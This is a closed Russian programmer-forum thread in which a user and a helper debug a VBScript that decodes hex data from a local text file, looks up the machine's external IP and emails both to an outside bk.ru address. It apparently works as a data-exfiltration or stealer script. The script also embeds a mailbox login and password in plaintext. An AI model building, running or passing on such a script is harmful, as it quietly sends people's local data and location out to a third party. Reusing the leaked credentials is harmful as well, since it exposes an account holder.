Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Программная инженерия > Безопасность, Шифрование
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 10.12.2019, 11:23   #41
adninistraotr
Пользователь
 
Регистрация: 08.12.2019
Сообщений: 63
По умолчанию

Вы гений!
adninistraotr вне форума
Старый 10.12.2019, 11:27   #42
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,660
По умолчанию

Учитесь программировать, может пригодиться иногда
kvitaliy вне форума
Старый 10.12.2019, 11:28   #43
adninistraotr
Пользователь
 
Регистрация: 08.12.2019
Сообщений: 63
По умолчанию

Но не могу никак понять, почему не быстро отправляется все?

Вот этот часть кода она же безнадобность верно?!
strSourceFile = "C:\result\txt"

With WScript.CreateObject("Scripting.Fil eSystemObject")
Do
WScript.Sleep 100
Loop Until .FileExists(strSourceFile)

WScript.Sleep 5 * 1000

она же по сути каждые 5 сек ищет есть ли по указанному пути txt чтобы ее отправить на почту.
adninistraotr вне форума
Старый 10.12.2019, 11:38   #44
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,660
По умолчанию

Ну да, конечно не надо раз нет аттача.
kvitaliy вне форума
Старый 10.12.2019, 11:49   #45
adninistraotr
Пользователь
 
Регистрация: 08.12.2019
Сообщений: 63
По умолчанию

так а я ее вырезаю и код перестает работать!

???

какой кусок отсюда удалить, какой лишний?!

kvitaliy, если оставить на работу ведь никак не повлияет?
adninistraotr вне форума
Старый 10.12.2019, 15:10   #46
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,660
По умолчанию

Цитата:
Сообщение от adninistraotr Посмотреть сообщение
если оставить на работу ведь никак не повлияет?
Покажи, что в итоге получилось. Я уже запутался.

Там ещё в письмо вписывается внешний IP, это тоже надо?
kvitaliy вне форума
Старый 10.12.2019, 15:42   #47
adninistraotr
Пользователь
 
Регистрация: 08.12.2019
Сообщений: 63
По умолчанию

да, пускай

Set ADODBStream = CreateObject("ADODB.Stream")

kvitaliy, вот сам код проверяй!
adninistraotr вне форума
Старый 10.12.2019, 15:52   #48
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,660
По умолчанию

Как то так, но пути надо проверить, а то форум их может испортить
Код:
Set ADODBStream = CreateObject("ADODB.Stream")
ADODBStream.Type = 2
ADODBStream.Charset = "Unicode"
ADODBStream.Open()
ADODBStream.LoadFromFile("C:\Users\Admin\Downloads\2.txt") ' Тут исходный текст в Юникоде
Text = ADODBStream.ReadText()
ADODBStream.Close()
ADODBStream.Charset = "windows-1251"
ADODBStream.Open()
ADODBStream.WriteText(Text)
ADODBStream.SaveToFile "C:\Users\Admin\Downloads\3.txt ", 2 ' тут преобразованный в ASCII
ADODBStream.Close()


dim my_str, my_arr, index, list
Set FSO = CreateObject("Scripting.FileSystemO bject")
Set f = FSO.OpenTextFile("C:\Users\Admin\Downloads\3.txt", 1)
On Error Resume Next

For i = 1 to 12
strn = f.ReadLine
Next
strn = Replace (strn, "(", "" )
strn = Trim (strn)

my_arr = split( strn, ",")
for each index in my_arr
strn = "&H" & index
list = list & CHR( strn)
next

f.Close

Set f1 = fso.CreateTextFile("C:\Users\Admin\Downloads\3.txt", True)
f1.Write (list)
f1.Close


Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"

Dim strContent

With WScript.CreateObject("Microsoft.XML HTTP")
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent & vbCrLf & list
.TextBodyPart.Charset = "windows-1251"

With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "l1223qwe"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With

WScript.Quit 0
kvitaliy вне форума
Старый 10.12.2019, 16:27   #49
adninistraotr
Пользователь
 
Регистрация: 08.12.2019
Сообщений: 63
По умолчанию

Ок, думаю все так...

kvitaliy, щас проверю и отпишусь

выбивает ошибку 16 строка 1 символ ( и создает txt с аригинальным исходником НЕ расшифрованном виде)

что не так?! пути указал правильн!

kvitaliy, кажется я разобрался но хочу чтобы ты проверил на всякий пожарный
adninistraotr вне форума
Старый 10.12.2019, 18:06   #50
kvitaliy
Участник клуба
 
Регистрация: 17.05.2011
Сообщений: 1,660
По умолчанию

Цитата:
Сообщение от adninistraotr Посмотреть сообщение
выбивает ошибку 16 строка
Set FSO = CreateObject("Scripting.FileSystemO bject")
Форум портит код! Лишние пробелы ставит.
kvitaliy вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите выполнить задание с расшифровкой результатов Skill12 Помощь студентам 0 28.04.2019 19:56
Помогите с расшифровкой belkakrohka Безопасность, Шифрование 1 23.11.2016 22:22
мой сайт взломали и в коды скриптов добавили вот этот скрипт. Что за скрипт? nsbox JavaScript, Ajax 9 21.01.2010 18:19
Помогите с расшифровкой nec117 Общие вопросы C/C++ 1 05.12.2009 00:20
Помогите с расшифровкой. nec117 Безопасность, Шифрование 0 04.12.2009 23:58